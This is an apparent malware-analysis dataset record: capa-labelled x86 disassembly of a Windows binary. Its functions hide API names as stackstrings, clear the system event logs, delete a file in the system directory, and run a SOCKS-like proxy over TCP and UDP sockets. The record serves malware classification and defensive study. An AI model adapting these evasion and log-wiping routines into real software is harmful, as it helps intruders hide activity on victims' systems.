joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a620
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x23], al
mov byte [ebp - 0x20], al
mov byte [ebp - 0x12], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0xb], al
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], cl
mov byte [ebp - 0xc], cl
lea eax, [ebp - 0x14]
push edi
lea ecx, [ebp - 0x24]
mov dl, 0x72
push eax
push ecx
mov dword [ebp - 8], esi
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x22], dl
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], dl
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xe], 0x46
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp + 8]
cmp dword [edi + 4], 0xffffffff
jne 0x1000a6bd
mov ecx, esi
call fcn.1000a790
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0x80
push 3
push 0
push 1
add esi, 0x20
push bind
push esi
call eax
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000a6e7
pop edi
pop esi
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [edi + 4]
push 0
push edi
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x2000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea edx, [ebp - 4]
push 0
push edx
mov byte [esi], 0x6a
mov eax, dword [edi]
mov dword [esi + 1], eax
mov ecx, dword [edi + 4]
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
mov dword [esi + 5], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x1000a773
mov ecx, dword [ebp - 8]
add eax, 9
push eax
push esi
call fcn.1000f500
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
call fcn.1000a790
mov edi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ace0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
push ebx
push esi
push edi
mov edi, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x27], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x13], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x10], cl
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x26], dl
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, ecx
sub eax, 2
je 0x1000ada0
sub eax, 2
je 0x1000ad99
sub eax, 2
je 0x1000ad92
mov esi, ecx
jmp 0x1000ada5
mov esi, 5
jmp 0x1000ada5
mov esi, 3
jmp 0x1000ada5
mov esi, 1
lea edx, [ebp - 0x16c]
lea ebx, [edi + 0x20]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], ecx
mov byte [ebp - 0xc], 0x70
mov dword [ebp - 8], ecx
mov byte [ebp - 4], cl
je 0x1000ae0f
cmp esi, 1
jne 0x1000ade8
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0xb], edx
mov dword [ebp - 7], ecx
mov esi, 3
jmp 0x1000ae21
cmp esi, 3
jne 0x1000adfc
xor edx, edx
mov esi, 2
mov dword [ebp - 0xb], edx
mov dword [ebp - 7], edx
jmp 0x1000ae21
cmp esi, 5
jne 0x1000ae1e
mov dword [ebp - 7], 0xffffffff
mov esi, 3
jmp 0x1000ae21
xor ecx, ecx
mov esi, 2
mov dword [ebp - 0xb], ecx
mov dword [ebp - 7], ecx
jmp 0x1000ae21
mov esi, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push ebx
call dword [ebp - 0x2c]
cmp eax, 0xffffffff
jne 0x1000ae57
xor eax, eax
mov dword [edi + 0x128], eax
mov dword [edi + 0x12c], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0xc]
push 9
push edx
mov ecx, edi
call fcn.1000f500
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ae80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov edi, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x44]
mov bl, 0x65
push eax
push ecx
mov byte [ebp - 0x44], 0x6b
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], 0x6c
mov byte [ebp - 0x3e], 0x33
mov byte [ebp - 0x3d], 0x32
mov byte [ebp - 0x3c], 0x2e
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x34], 0x43
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], 0x61
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x46
mov byte [ebp - 0x2d], 0x69
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0x41
mov byte [ebp - 0x29], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x54]
push edx
push eax
mov byte [ebp - 0x54], 0x6b
mov byte [ebp - 0x53], bl
mov byte [ebp - 0x52], 0x72
mov byte [ebp - 0x51], 0x6e
mov byte [ebp - 0x50], bl
mov byte [ebp - 0x4f], 0x6c
mov byte [ebp - 0x4e], 0x33
mov byte [ebp - 0x4d], 0x32
mov byte [ebp - 0x4c], 0x2e
mov byte [ebp - 0x4b], 0x64
mov byte [ebp - 0x4a], 0x6c
mov byte [ebp - 0x49], 0x6c
mov byte [ebp - 0x48], 0
mov byte [ebp - 0x28], 0x57
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x23], 0x46
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [ebp + 8]
push 0
push 0x80
push 3
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
push 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
mov dword [ebp + 8], edx
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [ebp - 0xc]
mov edx, dword [ebp + 8]
lea ecx, [ebp - 4]
push 0
mov esi, eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1b], edx
lea edx, [ebp - 0x1c]
add eax, ecx
push 9
push edx
mov ecx, edi
mov byte [ebp - 0x1c], 0x70
mov dword [ebp - 0x17], eax
call fcn.1000f500
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000bfb0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], 0x10002b30
mov dword [esp + 0x18], 0x10002b24
mov dword [esp + 0x1c], 0x10002b1c
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x1000c000
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x1000bfe7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x1000c1e0
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x100014d0
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x100017f0]
push 0x100014d0
inc ecx
mov dword [0x100017f0], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.1000c0b0
add esp, 8
cmp eax, esi
je 0x1000c37f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x1000c2c6
cmp eax, 2
je 0x1000c2c6
cmp eax, 3
je 0x1000c2c6
cmp eax, 4
jne 0x1000c33f
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.1000c020
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.1000c870
add esp, 0x1c
test eax, eax
je 0x1000c37f
mov edi, 0x10002864
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push 0x10002864
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x1000c33f
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.1000c150
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x1000c37f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.1000c020
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.1000c870
add esp, 0x1c
test eax, eax
je 0x1000c37f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000c37f
cmp dword [ebx], 0
je 0x1000c37f
mov eax, dword [ebx + 4]
test eax, eax
je 0x1000c37f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x1000d300
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000c36f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x1000c390
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x1000c3c0
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1000c3da
cmp al, 2
je 0x1000c3da
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x100014f0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000c41d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x1000c573
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000c567
test eax, eax
je 0x1000c567
cmp byte [ebp], 1
je 0x1000c47d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x1000c4a6
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x1000c4a6
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x1000c4d5
cmp ecx, 0x100
jg 0x1000c4d5
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x100014f0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000c502
test cl, cl
je 0x1000c4fe
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000c502
add eax, 2
add esi, 2
test cl, cl
jne 0x1000c4de
xor eax, eax
jmp 0x1000c507
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000c549
lea esi, [esp + 0x110]
mov eax, 0x100015f0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000c53b
test cl, cl
je 0x1000c537
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000c53b
add eax, 2
add esi, 2
test cl, cl
jne 0x1000c517
xor eax, eax
jmp 0x1000c540
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000c549
mov byte [ebp + 1], al
jmp 0x1000c54d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000c573
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x1000c590
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x10001010
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x1000c644
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x1000c64c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1000c63a
test edx, edx
jle 0x1000c604
mov edi, 0x10002818
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x1000c5d6
add dword [esp + 0x10], 4
jmp 0x1000c5ba
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x1000c660
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1000c670
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x1000c870
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x1000c8c7
call fcn.1000c660
add esp, 4
test eax, eax
je 0x1000c922
push esi
call fcn.1000c660
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x1000c922
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000c92a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x1000c940
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.1000c390
add esp, 0xc
test eax, eax
je 0x1000c9e7
cmp eax, 4
jne 0x1000c988
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.1000c680
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000c9e7
test eax, eax
je 0x1000c9e7
cmp byte [esi], 5
jne 0x1000c9e7
mov cl, byte [esi + 3]
cmp cl, 1
je 0x1000c9b4
cmp cl, 3
jne 0x1000c9e7
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.1000c680
add esp, 0x14
test eax, eax
je 0x1000c9e7
mov al, byte [esi + 1]
cmp al, 1
je 0x1000c9de
cmp al, 3
jne 0x1000c9e7
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x1000c9f0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000ca3e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000ca5b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.1000c590
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret

Function at 0x1000d050
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x1000d08b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x1000d092
sub esi, eax
add edi, eax
test esi, esi
jg 0x1000d066
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x1000d720
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.1000f3e0
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x10004d2c
je 0x1000d749
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000d75b
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1000d76b
push eax
push 0x100017f8
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x1000b860
push 0
mov dword [0x10002878], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18

Function at 0x1000dde0
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push 0x1000287c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret